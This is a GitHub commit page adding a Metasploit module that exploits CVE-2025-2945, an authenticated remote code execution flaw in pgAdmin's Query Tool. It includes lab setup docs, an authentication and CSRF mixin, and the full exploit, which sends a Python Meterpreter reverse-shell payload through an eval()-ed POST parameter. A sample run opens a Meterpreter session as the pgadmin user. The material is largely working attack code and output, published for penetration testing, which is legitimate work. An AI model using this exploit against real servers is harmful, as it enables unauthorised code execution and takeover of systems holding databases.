Skip to content

Commit 0b4e133

Browse files
authored
Land rapid7#20018, pgAdmin Authenticated RCE (CVE-2025-2945)
pgAdmin Query Tool Authenticated RCE (CVE-2025-2945)
2 parents fc7688c + 4cec129 commit 0b4e133

File tree

4 files changed

+318
-1
lines changed

4 files changed

+318
-1
lines changed
Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
## Vulnerable Application
2+
3+
### Description
4+
5+
This module exploits a vulnerability in pgAdmin where an authenticated user can establish a connection to the query tool
6+
and send a specific payload in the query_commited POST parameter. This payload is directly executed via a Python eval()
7+
statement, resulting in remote code execution in versions prior to 9.2.
8+
9+
To exploit this vulnerability, pgAdmin credentials are required. Additionally, in order to interact with the vulnerable
10+
SQL editor component, valid database credentials are necessary to initialize a session and obtain a transaction ID,
11+
which is required for the exploit.
12+
13+
14+
### Setup
15+
16+
A pgAdmin Docker instance can be started using the following command:
17+
```bash
18+
docker run -d -p 8484:80 -e [email protected] -e PGADMIN_DEFAULT_PASSWORD=adminpassword --name pgadmin dpage/pgadmin4:9.0
19+
```
20+
A PostgreSQL database needs to be connected to the pgAdmin instance in order to exploit. The version of postgresql doesn't matter:
21+
```bash
22+
docker run -d -p 5432:5432 --name postgres -e POSTGRES_PASSWORD=mysecretpassword -e POSTGRES_USER=pgadminuser -e POSTGRES_DB=pgadmin postgres:latest
23+
```
24+
25+
## Verification Steps
26+
1. Start msfconsole.
27+
1. Do: use exploit/multi/http/pgadmin_query_tool_authenticated.
28+
1. Set the RHOST, USERNAME, PASSWORD, DB_USER, DB_PASS AND DB_NAME options.
29+
1. Run the module.
30+
1. Receive a Meterpreter session as the pgAdmin user.
31+
32+
## Options
33+
34+
### USERNAME
35+
The username for authentication (required).
36+
37+
### PASSWORD
38+
The password for authentication (required).
39+
40+
### DB_USER
41+
The database username to authenticate to the database with (required).
42+
43+
### DB_PASS
44+
The password to authenticate to the database with (required).
45+
46+
### DB_NAME
47+
The name of the database to target (required)
48+
49+
### MAX_SERVER_ID
50+
The maximum number of Server IDs to try and connect to. This is used to determine the correct server ID for the exploit.
51+
A valid `sid` is required in order to connect to the query_tool in order to exploit. The default value is 10.
52+
53+
## Scenarios
54+
### pgAdmin 4 v9.0
55+
```
56+
msf6 exploit(multi/http/pgadmin_query_tool_authenticated) > run db_name=postgres db_user=pgadminuser db_pass=mysecretpassword rhost=127.0.0.1 rport=8484 [email protected] password=adminpassword lhost=172.16.199.1 MAX_SERVER_ID=10 verbose=true
57+
[*] Started reverse TCP handler on 172.16.199.1:4444
58+
[*] Running automatic check ("set AutoCheck false" to disable)
59+
[+] The target appears to be vulnerable. pgAdmin version 9.0.0 is affected
60+
[+] Successfully authenticated to pgAdmin
61+
[*] Trying server ID: 1
62+
[*] Trying server ID: 2
63+
[*] Trying server ID: 3
64+
[+] Successfully initialized sqleditor
65+
[*] Exploiting the target...
66+
[*] Sending stage (24772 bytes) to 172.16.199.1
67+
[+] Received a 500 response from the exploit attempt, this is expected
68+
[*] Meterpreter session 3 opened (172.16.199.1:4444 -> 172.16.199.1:62455) at 2025-04-09 17:05:17 -0700
69+
70+
meterpreter > getuid
71+
Server username: pgadmin
72+
smeterpreter > sysinfo
73+
Computer : e9b855f7cda2
74+
OS : Linux 6.10.14-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Mar 20 16:36:58 UTC 2025
75+
Architecture : x64
76+
Meterpreter : python/linux
77+
meterpreter >
78+
```

lib/msf/core/exploit/pgadmin.rb

Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
# -*- coding: binary -*-
2+
3+
#
4+
# This mixin provides helpers to interact with pgAdmin. It provides methods to:
5+
# - authenticate
6+
# - obtain the CSRF token,
7+
# - check the version of pgAdmin.
8+
#
9+
module Msf
10+
module Exploit::PgAdmin
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def get_version
14+
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)
15+
return unless res&.code == 200
16+
17+
html_document = res.get_html_document
18+
return unless html_document.xpath('//title').text == 'pgAdmin 4'
19+
20+
versioned_link = html_document.xpath('//link').find { |link| link['href'] =~ /\?ver=(\d?\d)(\d\d)(\d\d)/ }
21+
return unless versioned_link
22+
23+
set_csrf_token_from_login_page(res)
24+
Rex::Version.new("#{Regexp.last_match(1).to_i}.#{Regexp.last_match(2).to_i}.#{Regexp.last_match(3).to_i}")
25+
end
26+
27+
def check_version(patched_version, low_bound = 0)
28+
version = get_version
29+
return Msf::Exploit::CheckCode::Unknown('Unable to determine the target version') unless version
30+
return Msf::Exploit::CheckCode::Safe("pgAdmin version #{version} is not affected") if version >= Rex::Version.new(patched_version) || version < Rex::Version.new(low_bound)
31+
32+
Msf::Exploit::CheckCode::Appears("pgAdmin version #{version} is affected")
33+
end
34+
35+
def csrf_token
36+
return @csrf_token if @csrf_token
37+
38+
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)
39+
set_csrf_token_from_login_page(res)
40+
fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Failed to obtain the CSRF token') unless @csrf_token
41+
@csrf_token
42+
end
43+
44+
def set_csrf_token_from_login_page(res)
45+
if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/
46+
@csrf_token = Regexp.last_match(1)
47+
elsif (element = res.get_html_document.xpath("//input[@id='csrf_token']")&.first)
48+
@csrf_token = element['value']
49+
end
50+
end
51+
52+
def authenticate(username, password)
53+
res = send_request_cgi({
54+
'uri' => normalize_uri(target_uri.path, 'authenticate/login'),
55+
'method' => 'POST',
56+
'keep_cookies' => true,
57+
'vars_post' => {
58+
'csrf_token' => csrf_token,
59+
'email' => username,
60+
'password' => password,
61+
'language' => 'en',
62+
'internal_button' => 'Login'
63+
}
64+
})
65+
66+
unless res&.code == 302 && res&.headers&.[]('Location') != normalize_uri(target_uri.path, 'login')
67+
fail_with(Msf::Exploit::Failure::NoAccess, 'Failed to authenticate to pgAdmin')
68+
end
69+
70+
print_good('Successfully authenticated to pgAdmin')
71+
res
72+
end
73+
end
74+
end

lib/msf_autoload.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -301,7 +301,8 @@ def custom_inflections
301301
'teamcity' => 'TeamCity',
302302
'nist_sp_800_38f' => 'NIST_SP_800_38f',
303303
'nist_sp_800_108' => 'NIST_SP_800_108',
304-
'pfsense' => 'PfSense'
304+
'pfsense' => 'PfSense',
305+
'pgadmin' => 'PgAdmin',
305306
}
306307
end
307308

Lines changed: 164 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,164 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
prepend Msf::Exploit::Remote::AutoCheck
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Exploit::PgAdmin
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'pgAdmin Query Tool authenticated RCE (CVE-2025-2945)',
18+
'Description' => %q{
19+
This module exploits a vulnerability in pgAdmin where an authenticated user can establish a connection to the query tool
20+
and send a specific payload in the query_commited POST parameter. This payload is directly executed via a Python eval()
21+
statement, resulting in remote code execution in versions prior to 9.2.
22+
23+
To exploit this vulnerability, pgAdmin credentials are required. Additionally, in order to interact with the vulnerable
24+
SQL editor component, valid database credentials are necessary to initialize a session and obtain a transaction ID,
25+
which is required for the exploit.
26+
},
27+
'Author' => [
28+
'pyozzi-toss', # Vulnerability discovery
29+
'jheysel-r7' # msf module
30+
],
31+
'License' => MSF_LICENSE,
32+
'References' => [
33+
['CVE', '2025-2945'],
34+
],
35+
'Platform' => ['python'],
36+
'Arch' => [ ARCH_PYTHON],
37+
'Targets' => [
38+
[
39+
'Python payload',
40+
{
41+
'Platform' => 'python',
42+
'Arch' => ARCH_PYTHON,
43+
'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
44+
}
45+
]
46+
],
47+
'DefaultTarget' => 0,
48+
'DisclosureDate' => '2025-04-03',
49+
'Notes' => {
50+
'Stability' => [CRASH_SAFE],
51+
'Reliability' => [REPEATABLE_SESSION],
52+
'SideEffects' => [IOC_IN_LOGS]
53+
}
54+
)
55+
)
56+
57+
register_options(
58+
[
59+
Opt::RPORT(80),
60+
OptString.new('USERNAME', [true, 'The username to authenticate to pgadmin with', '']),
61+
OptString.new('PASSWORD', [true, 'The password to authenticate to pgadmin with', '']),
62+
OptString.new('DB_USER', [true, 'The username to authenticate to the database with', '']),
63+
OptString.new('DB_PASS', [true, 'The password to authenticate to the database with', '']),
64+
OptString.new('DB_NAME', [true, 'The database to authenticate to', '']),
65+
OptInt.new('MAX_SERVER_ID', [true, 'The maximum number of Server IDs to try and connect to.', 10]),
66+
]
67+
)
68+
end
69+
70+
def check
71+
# Although there is no low bound mentioned in the advisory, we can see that the vulnerable eval() statement was
72+
# introduced in version 8.10: https://github.com/pgadmin-org/pgadmin4/commit/22cdb86aab5825787a36d149f8e6eb34fb26d817
73+
check_version('9.2', '8.10')
74+
end
75+
76+
# Return only the required URI encoded fields in order for the POST request to be successful
77+
# @return [String] The URI encoded form data for the POST request
78+
def get_post_data
79+
URI.encode_www_form({
80+
'title' => Faker::App.name.downcase,
81+
'selectedNodeInfo' => {
82+
'database' => {
83+
'id' => Faker::App.name.downcase
84+
}
85+
}
86+
})
87+
end
88+
89+
def post_initialize_sqleditor(trans_id, sgid, sid, did)
90+
res = send_request_cgi({
91+
'uri' => normalize_uri(target_uri.path, "/sqleditor/initialize/sqleditor/#{trans_id}/#{sgid}/#{sid}/#{did}"),
92+
'method' => 'POST',
93+
'keep_cookies' => true,
94+
'ctype' => 'application/json',
95+
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
96+
'data' => {
97+
'user' => datastore['DB_USER'],
98+
'password' => datastore['DB_PASS'],
99+
'role' => '',
100+
'dbname' => datastore['DB_NAME']
101+
}.to_json
102+
})
103+
104+
unless res&.code == 200
105+
errmsg = res&.get_json_document&.dig('result', 'errmsg') || 'unknown error'
106+
fail_with(Failure::UnexpectedReply, "Failed to initialize sqleditor: #{errmsg}")
107+
end
108+
109+
print_good('Successfully initialized sqleditor')
110+
end
111+
112+
def find_valid_server_id(sgid)
113+
(1..datastore['MAX_SERVER_ID']).each do |sid|
114+
vprint_status("Trying server ID: #{sid}")
115+
res = send_request_cgi({
116+
'uri' => normalize_uri(target_uri.path, "/sqleditor/get_server_connection/#{sgid}/#{sid}"),
117+
'method' => 'GET',
118+
'keep_cookies' => true,
119+
'ctype' => 'application/x-www-form-urlencoded',
120+
'headers' => {
121+
'X-pgA-CSRFToken' => csrf_token
122+
}
123+
})
124+
if res&.get_json_document&.dig('data', 'status')
125+
return sid
126+
end
127+
end
128+
fail_with(Failure::NoTarget, 'Failed to find a valid server ID, try increasing MAX_SERVER_ID')
129+
end
130+
131+
# In order to interact with the vulnerable component, the SQL editor, we need to initialize a session and a valid
132+
# transaction ID. This is done by sending a POST request to the sqleditor/panel endpoint with the necessary parameters
133+
# @return [String] The transaction ID for the SQL editor
134+
def sqleditor_init(trans_id)
135+
sgid = rand(1..10)
136+
did = rand(10000..99999)
137+
sid = find_valid_server_id(sgid)
138+
post_initialize_sqleditor(trans_id, sgid, sid, did)
139+
end
140+
141+
def exploit
142+
authenticate(datastore['USERNAME'], datastore['PASSWORD'])
143+
trans_id = rand(1_000_000..9_999_999)
144+
sqleditor_init(trans_id)
145+
146+
print_status('Exploiting the target...')
147+
res = send_request_cgi({
148+
'uri' => normalize_uri(target_uri.path, "/sqleditor/query_tool/download/#{trans_id}"),
149+
'method' => 'POST',
150+
'ctype' => 'application/json',
151+
'keep_cookies' => true,
152+
'headers' => {
153+
'Referer' => "http://#{datastore['RHOST']}:#{datastore['RPORT']}/sqleditor/panel/#{trans_id}?is_query_tool=true",
154+
'X-Pga-Csrftoken' => csrf_token
155+
},
156+
'data' => {
157+
'query_commited' => payload.encoded
158+
}.to_json
159+
})
160+
print_error('No response received from exploit attempt') unless res
161+
print_good('Received a 500 response from the exploit attempt, this is expected') if res&.code == 500
162+
print_error("Received an unexpected response code from the exploit attempt: #{res&.code}") if res&.code != 500
163+
end
164+
end

0 commit comments

Comments
 (0)